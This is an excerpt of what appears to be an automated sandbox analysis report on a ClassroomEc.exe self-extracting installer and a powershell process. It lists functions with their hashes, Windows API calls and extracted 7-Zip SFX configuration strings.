Opcode ID: efaccef2f28be5cd20bc94f3f55944ede4a40c4c2f3481d59cf61a47802dad4e
Instruction ID: 13a1215a5a3a96d24eaac6ffe6ee322f71a6b62c012e29360267dad13d4e34f7
Opcode Fuzzy Hash: efaccef2f28be5cd20bc94f3f55944ede4a40c4c2f3481d59cf61a47802dad4e
Instruction Fuzzy Hash: B632B430A1CA498FEB94EB2CD455AB97BE2FFA9384F0441B9E40DC7296DF24EC418745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487AEAAB Relevance: 3.3, Strings: 2, Instructions: 775COMMON

Download Yara Rule

Strings

L_I, xrefs: 00007FF8487D01A3
sK_^, xrefs: 00007FF8487D02DF

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID: L_I$sK_^
API String ID: 0-458045039
Opcode ID: a61995e392ac1c20b8f72a53e191db7c532bad61ddea1dcc6287112a6fe79a53
Instruction ID: 96232270f99662caab21f0f3a12a38c47f9ea8c82d748deb7799a4d3bc9e2915
Opcode Fuzzy Hash: a61995e392ac1c20b8f72a53e191db7c532bad61ddea1dcc6287112a6fe79a53
Instruction Fuzzy Hash: E432E531A1CA465FE758FA28A4656B973D2FF98390F44417DE44EC72C3DF28A8428789

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8487ADFE0 Relevance: 1.5, Instructions: 1547COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2246434097.00007FF8487A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8487A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff8487a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e31b6c091ee6cd2bc089cb2a47c2e36bf96f0ef000d5491ae77ca5bc2ff41cba
Instruction ID: d059cef90f8224835fa0ede414b94ab4a4dba141e8973bb60d6b38bea72e7b38
Opcode Fuzzy Hash: e31b6c091ee6cd2bc089cb2a47c2e36bf96f0ef000d5491ae77ca5bc2ff41cba
Instruction Fuzzy Hash: 1DA2D531A5C90A8FEB99EA2C8465B7477D2FF94740F1501B9D40EC72A3DF29EC428B49

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848870F6D Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2248180292.00007FF848870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de93215676bfef33614c0a57fe87cf18a871bd78be4723c19154f3261827a81e
Instruction ID: 5b0a5056412446b4704795a5bb2d4b789f630952f26533447ef377013e9c1d67
Opcode Fuzzy Hash: de93215676bfef33614c0a57fe87cf18a871bd78be4723c19154f3261827a81e
Instruction Fuzzy Hash: 4241B156E1EBC25FE3A6A7381C661A06FF0EF52690F1D01FAC089CB5D3DA0C68468365

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ClassroomEc.exePID: 8148, Parent PID: 7488COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	75

Executed Functions

Function 00D65E70 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00D65EC8
wsprintfW.USER32 ref: 00D65EDE
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00D65EEF
GetLastError.KERNEL32 ref: 00D65EF8
??2@YAPAXI@Z.MSVCRT ref: 00D65F1D
GetEnvironmentVariableW.KERNEL32(?,?,00D6B311), ref: 00D65F43
GetLastError.KERNEL32 ref: 00D65F52
lstrcmpiW.KERNEL32(00000000,?), ref: 00D65F80
??3@YAXPAX@Z.MSVCRT ref: 00D65FA3
??3@YAXPAX@Z.MSVCRT ref: 00D65FCC
??3@YAXPAX@Z.MSVCRT ref: 00D65FF7
SetLastError.KERNEL32(?), ref: 00D66003
lstrlenA.KERNEL32(?), ref: 00D66067
??2@YAPAXI@Z.MSVCRT ref: 00D6608A
GetLocaleInfoW.KERNELBASE(00000000,00001004,?,0000001F), ref: 00D660D3
_wtol.MSVCRT(?), ref: 00D660E4
MultiByteToWideChar.KERNEL32(000004E4,00000000,?,?,00000000,?), ref: 00D66117

Part of subcall function 00D65E00: GetUserDefaultUILanguage.KERNEL32(?,00D6604C), ref: 00D65E0E

Strings

SfxString%d, xrefs: 00D65ED5

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorLast$??3@$??2@EnvironmentVariable$ByteCharDefaultInfoLanguageLocaleMultiUserWide_wtollstrcmpilstrlenwsprintf
String ID: SfxString%d
API String ID: 1359506875-944934635
Opcode ID: 3005173fe1aa6668a90c12de985bdfd8914515d51fb99a0fdbf7cd2405feb1ad
Instruction ID: c3f9bd470c997118fe4b0760e317743f957be71391e40b557f6f83575888b5a8
Opcode Fuzzy Hash: 3005173fe1aa6668a90c12de985bdfd8914515d51fb99a0fdbf7cd2405feb1ad
Instruction Fuzzy Hash: EE8139B0910304DBEB14DFA8D859BADB7B6EB44304F18465DE50AAB285D731E985CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00D64ED0 Relevance: 18.1, APIs: 12, Instructions: 113
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D64EE0

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

FindFirstFileW.KERNELBASE(00000000,?,00D89854,00D650E8), ref: 00D64F02
_DebugHeapAllocator.LIBCPMTD ref: 00D64F1C
lstrcmpW.KERNEL32(?,00D89850,?,0000005C,00D650E8), ref: 00D64F51
lstrcmpW.KERNEL32(?,00D89848), ref: 00D64F67
SetFileAttributesW.KERNELBASE(00000000,00000000,?,0000005C,00D650E8), ref: 00D64FB0
DeleteFileW.KERNELBASE(00000000), ref: 00D64FC3
FindNextFileW.KERNELBASE(000000FF,?), ref: 00D64FF5
FindClose.KERNEL32(000000FF), ref: 00D65007
SetCurrentDirectoryW.KERNEL32(00000000), ref: 00D65018
SetFileAttributesW.KERNEL32(00D650E8,00000000), ref: 00D65024
RemoveDirectoryW.KERNEL32(00D650E8), ref: 00D65032

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: File$Find$AllocatorAttributesDebugDirectoryHeaplstrcmp$CloseCurrentDeleteFirstNextRemove_wmemmove
String ID:
API String ID: 430740293-0
Opcode ID: dae98f05018b0f67ee24c66b6003e19a0244898c48ddb1077638b1cbfc8d3044
Instruction ID: 7a8e5d132af43ecb4cb17fe5ae115d9578c4b5c11c2cc5c7a52eb6713cf24ae0
Opcode Fuzzy Hash: dae98f05018b0f67ee24c66b6003e19a0244898c48ddb1077638b1cbfc8d3044
Instruction Fuzzy Hash: 9F412274914209EBDB14EF60EC99BEEB378EF14344F584198F41AD6190EB709A48DF74

Uniqueness

Uniqueness Score: -1.00%

Function 00D61E40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 92
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00D61E5E
_DebugHeapAllocator.LIBCPMTD ref: 00D61ED4
ShellExecuteExW.SHELL32(0000003C), ref: 00D61F1B
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D61F36
CloseHandle.KERNEL32(?), ref: 00D61F40

Strings

<, xrefs: 00D61E66
runas, xrefs: 00D61EA3

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorCloseDebugExecuteHandleHeapObjectShellSingleWaitmemset
String ID: <$runas
API String ID: 46794241-1187129395
Opcode ID: f34eed5d5db42c92b249cf00c2c1310ee59c95edfc5005bbc42df89c245aa2d8
Instruction ID: c7aa6234e87b8a99c0f4153983448f8052a79170f896494187b061e28b54b8e3
Opcode Fuzzy Hash: f34eed5d5db42c92b249cf00c2c1310ee59c95edfc5005bbc42df89c245aa2d8
Instruction Fuzzy Hash: 42312775D1020C9BDB05EFD5D89AAEEB774FF14300F188118F416AB295EB74AA49CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D64C30 Relevance: 7.7, APIs: 5, Instructions: 211
memorystringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00D62B43,00000000,00000000,?), ref: 00D64C3A
_DebugHeapAllocator.LIBCPMTD ref: 00D64C4A

Part of subcall function 00D635B0: _DebugHeapAllocator.LIBCPMTD ref: 00D635C0
Part of subcall function 00D635B0: wcsncpy.MSVCRT ref: 00D635E4

GetSystemTimeAsFileTime.KERNEL32(00D62B43,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D62B43,00000000), ref: 00D64D72
GetFileAttributesW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,00D62B43,00000000,00000000,?), ref: 00D64D7C

Part of subcall function 00D6B300: wvsprintfW.USER32(?,?,?), ref: 00D6B32D
Part of subcall function 00D6B300: GetLastError.KERNEL32 ref: 00D6B33D
Part of subcall function 00D6B300: FormatMessageW.KERNEL32(00001100,00000000,?,?,?,00000000,00000000), ref: 00D6B36C
Part of subcall function 00D6B300: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00000000,?,?,00000000,00000000), ref: 00D6B393
Part of subcall function 00D6B300: lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3A8
Part of subcall function 00D6B300: lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3BB
Part of subcall function 00D6B300: ??2@YAPAXI@Z.MSVCRT ref: 00D6B3DC
Part of subcall function 00D6B300: lstrcpyW.KERNEL32(?,?), ref: 00D6B404
Part of subcall function 00D6B300: lstrcpyW.KERNEL32(?,?), ref: 00D6B437
Part of subcall function 00D6B300: ??3@YAXPAX@Z.MSVCRT ref: 00D6B45F
Part of subcall function 00D6B300: LocalFree.KERNEL32(?), ref: 00D6B46E

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: lstrlen$AllocatorDebugFileFormatHeapMessageTimelstrcpy$??2@??3@AttributesErrorFreeLastLocalSystemwcsncpywvsprintf
String ID:
API String ID: 1540793163-0
Opcode ID: cfa1840d2c75477dea20513b7155d1b01b34b071e90f504c79708656dae13ff0
Instruction ID: 8c3d08459a5722a351750a616d3db1673fe6bb7b20d5271897f8ce08e79c26c7
Opcode Fuzzy Hash: cfa1840d2c75477dea20513b7155d1b01b34b071e90f504c79708656dae13ff0
Instruction Fuzzy Hash: DB815774E00219DBDB14CF99D991AFEB3B1FF48304F244518E802AB291EB74AE51DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D63C80 Relevance: 6.0, APIs: 4, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00D63C94
FindClose.KERNEL32(000000FF), ref: 00D63CAB
SetLastError.KERNEL32(00000010), ref: 00D63CBE

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 7f830b95bd1fd5dde7f2312c469819afa4b421b3f757ee068abd0c7f1e97c6d0
Instruction ID: da8c8602b0f8633f9873a63a278ede06857a1ac00781502695802cbc5aa5e1cb
Opcode Fuzzy Hash: 7f830b95bd1fd5dde7f2312c469819afa4b421b3f757ee068abd0c7f1e97c6d0
Instruction Fuzzy Hash: 7611C075910208EBDB20DBA4EC09BAE7378AB44321F244664F856E72D0DB31DB84DFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D65080 Relevance: 6.0, APIs: 4, Instructions: 38
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00D65094
FindClose.KERNEL32(000000FF), ref: 00D650AE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00D650C5
DeleteFileW.KERNEL32(?), ref: 00D650D3

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: File$Find$AttributesCloseDeleteFirst
String ID:
API String ID: 3319113142-0
Opcode ID: 73a6b5ddbb2a58c8aa8b536f8966eef8420a1dba177372e1696f27299a25d83b
Instruction ID: cea54a729efbf6a810a24623c1ae120895f57b06331cac0c02ba4b7d32fe6e0d
Opcode Fuzzy Hash: 73a6b5ddbb2a58c8aa8b536f8966eef8420a1dba177372e1696f27299a25d83b
Instruction Fuzzy Hash: F5F0F475500B08EBCB10DF70EC88AEE7738AB44310F248654F94AD7284DA32DAC5DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D67530 Relevance: 97.2, APIs: 35, Strings: 20, Instructions: 959
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00D6753F
GetLastError.KERNEL32 ref: 00D67548
GetTickCount.KERNEL32 ref: 00D67551
GetTickCount.KERNEL32 ref: 00D6755E
GetTickCount.KERNEL32 ref: 00D6756B
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D675C5
GetProcAddress.KERNEL32(?,FreeConsole), ref: 00D675D7
FreeConsole.KERNELBASE ref: 00D675E0
GetCommandLineW.KERNEL32(?), ref: 00D675EC
_DebugHeapAllocator.LIBCPMTD ref: 00D675FF
GetModuleFileNameW.KERNEL32(00000000,00000000,00000208,00000208,?,?,00000000), ref: 00D67679
_DebugHeapAllocator.LIBCPMTD ref: 00D67717
_DebugHeapAllocator.LIBCPMTD ref: 00D67726
_DebugHeapAllocator.LIBCPMTD ref: 00D6776A
_DebugHeapAllocator.LIBCPMTD ref: 00D67786
_DebugHeapAllocator.LIBCPMTD ref: 00D677B8

Part of subcall function 00D66D00: lstrlenW.KERNEL32(?), ref: 00D66D5E
Part of subcall function 00D66D00: lstrlenW.KERNEL32(?), ref: 00D66D6B

_DebugHeapAllocator.LIBCPMTD ref: 00D677FB
wsprintfW.USER32 ref: 00D679D2

Strings

, xrefs: 00D67A22
HelpText, xrefs: 00D67B31
Delete, xrefs: 00D6827A
SelfDelete, xrefs: 00D6837C
SetEnvironment, xrefs: 00D67A71
FreeConsole, xrefs: 00D675CE
7ZipSfx.%03x, xrefs: 00D67F16
RunProgram, xrefs: 00D67E3B, 00D67E4C
kernel32.dll, xrefs: 00D675C0
AutoInstall, xrefs: 00D67CEF, 00D67DE6
d, xrefs: 00D676E0
Shortcut, xrefs: 00D68248
SfxString%d, xrefs: 00D679C6
ExecuteFile, xrefs: 00D67E08, 00D67E19
BeginPrompt, xrefs: 00D67C21
sfxversion, xrefs: 00D6761B
sfxconfig, xrefs: 00D678C8
sfxtest, xrefs: 00D676C6
FinishMessage, xrefs: 00D682D6
InstallPath, xrefs: 00D67BE7

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap$CountTick$Modulelstrlen$?_set_new_handler@@AddressCommandConsoleErrorFileFreeHandleLastLineNameProcwsprintf
String ID: $7ZipSfx.%03x$AutoInstall$BeginPrompt$Delete$ExecuteFile$FinishMessage$FreeConsole$HelpText$InstallPath$RunProgram$SelfDelete$SetEnvironment$SfxString%d$Shortcut$d$kernel32.dll$sfxconfig$sfxtest$sfxversion
API String ID: 313208911-2568464168
Opcode ID: 9c7d181ffbb1030c1d0ed82a58011b047535aa162cfa89a6f4774cbe325b888b
Instruction ID: 80ef4a95ee8e811e18167f50b4a4a59576c56eef556c1bb9ea60d005e23661b2
Opcode Fuzzy Hash: 9c7d181ffbb1030c1d0ed82a58011b047535aa162cfa89a6f4774cbe325b888b
Instruction Fuzzy Hash: 6C825C70D102099BDB15FBA9EC56AEE7375EF14308F548068F00AA62D2EF746A49CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D61F80 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 289
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D63520: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00D61FB2,?), ref: 00D63541
Part of subcall function 00D63520: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 00D63564

_wtol.MSVCRT(?,?,?,?,?,?,?,?), ref: 00D62036
_DebugHeapAllocator.LIBCPMTD ref: 00D62124
_DebugHeapAllocator.LIBCPMTD ref: 00D6214B
_DebugHeapAllocator.LIBCPMTD ref: 00D6218A
_DebugHeapAllocator.LIBCPMTD ref: 00D621BC
_DebugHeapAllocator.LIBCPMTD ref: 00D62268

Strings

shc, xrefs: 00D6204E
del, xrefs: 00D62082
hidcon, xrefs: 00D61FDF
ExecuteParameters, xrefs: 00D62152

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap$CurrentDirectory$_wtol
String ID: ExecuteParameters$del$hidcon$shc
API String ID: 1551080378-796110186
Opcode ID: 9eb89ff4a6468e89e1625d55bd01619ed2bc441c34b6204cb2c070719e8b640d
Instruction ID: f9b35e2d786aacf10ec321f1612ee83fa9d7db9375e4887a7a19681bd7084e2e
Opcode Fuzzy Hash: 9eb89ff4a6468e89e1625d55bd01619ed2bc441c34b6204cb2c070719e8b640d
Instruction Fuzzy Hash: C6B19EB5D002099BDB04EFA1DC66AFEB774FF14304F188528E416A7291EB74A909CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D62640 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00D6289F

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: e3c531cabf71a6d65c9c7800923e1f3d134c6579e57f665a000b16c44446810c
Instruction ID: 8d4a8f54d8eae321505a0fb23c23f21a1509cb7ad2dcc23953e784b265ccca8e
Opcode Fuzzy Hash: e3c531cabf71a6d65c9c7800923e1f3d134c6579e57f665a000b16c44446810c
Instruction Fuzzy Hash: BB12FC70910218DFDB18EF95C8A2AEDB775FF58304F148158E50AAB291EB30AE95CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B950 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 843
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

W, xrefs: 00D6BF2E

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: 3c200096b9ea7b1d6e0a33d2adc1815e14765070e324f781388554422e8f18d5
Instruction ID: af8c8cc0f5daf541c09fe79afc083af3e28b8aaecd570a0e4f25099ea4443eae
Opcode Fuzzy Hash: 3c200096b9ea7b1d6e0a33d2adc1815e14765070e324f781388554422e8f18d5
Instruction Fuzzy Hash: 8792C374A101288BDB28EF64DCA1BEDB771EF58304F1481D9E54AA7251DB30AE85CFB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D66680 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32), ref: 00D6668E
#17.COMCTL32 ref: 00D66699

Part of subcall function 00D65E70: GetLastError.KERNEL32 ref: 00D65EC8
Part of subcall function 00D65E70: wsprintfW.USER32 ref: 00D65EDE
Part of subcall function 00D65E70: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00D65EEF
Part of subcall function 00D65E70: GetLastError.KERNEL32 ref: 00D65EF8
Part of subcall function 00D65E70: ??2@YAPAXI@Z.MSVCRT ref: 00D65F1D
Part of subcall function 00D65E70: GetEnvironmentVariableW.KERNEL32(?,?,00D6B311), ref: 00D65F43
Part of subcall function 00D65E70: GetLastError.KERNEL32 ref: 00D65F52
Part of subcall function 00D65E70: lstrcmpiW.KERNEL32(00000000,?), ref: 00D65F80
Part of subcall function 00D65E70: ??3@YAXPAX@Z.MSVCRT ref: 00D65FA3
Part of subcall function 00D65E70: SetLastError.KERNEL32(?), ref: 00D66003

Part of subcall function 00D65E70: ??3@YAXPAX@Z.MSVCRT ref: 00D65FCC
Part of subcall function 00D65E70: ??3@YAXPAX@Z.MSVCRT ref: 00D65FF7
Part of subcall function 00D65E70: lstrlenA.KERNEL32(?), ref: 00D66067
Part of subcall function 00D65E70: ??2@YAPAXI@Z.MSVCRT ref: 00D6608A
Part of subcall function 00D65E70: GetLocaleInfoW.KERNELBASE(00000000,00001004,?,0000001F), ref: 00D660D3
Part of subcall function 00D65E70: _wtol.MSVCRT(?), ref: 00D660E4
Part of subcall function 00D65E70: MultiByteToWideChar.KERNEL32(000004E4,00000000,?,?,00000000,?), ref: 00D66117

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000040,00000000), ref: 00D6674C
wsprintfW.USER32 ref: 00D6676D

Strings

SfxFolder%02d, xrefs: 00D66761
@, xrefs: 00D6672D
kernel32, xrefs: 00D66689

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorLast$??3@$??2@EnvironmentVariablewsprintf$ByteCharFolderInfoLibraryLoadLocaleMultiPathSpecialWide_wtollstrcmpilstrlen
String ID: @$SfxFolder%02d$kernel32
API String ID: 2629262089-574402807
Opcode ID: bedcc378f29de45e56d7c62de104851c77e148e1c7b6a9671c0f8d425ac5934f
Instruction ID: 5118767235d1107d131a5500426567a30a872411765849daa2f2f5e7228205ea
Opcode Fuzzy Hash: bedcc378f29de45e56d7c62de104851c77e148e1c7b6a9671c0f8d425ac5934f
Instruction Fuzzy Hash: 053170F09543189BEF10EF64EC4ABA97375EB10708F0401A9E50D963D1E772AA94CF72

Uniqueness

Uniqueness Score: -1.00%

Function 00D62D40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 117
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D62F60: _DebugHeapAllocator.LIBCPMTD ref: 00D62F71

CreateThread.KERNELBASE(00000000,00000000,Function_00002FA0,?,00000000,?), ref: 00D62D7B
WaitForSingleObject.KERNEL32(00000284,000000FF), ref: 00D62DA6

Part of subcall function 00D6B300: wvsprintfW.USER32(?,?,?), ref: 00D6B32D
Part of subcall function 00D6B300: GetLastError.KERNEL32 ref: 00D6B33D
Part of subcall function 00D6B300: FormatMessageW.KERNEL32(00001100,00000000,?,?,?,00000000,00000000), ref: 00D6B36C
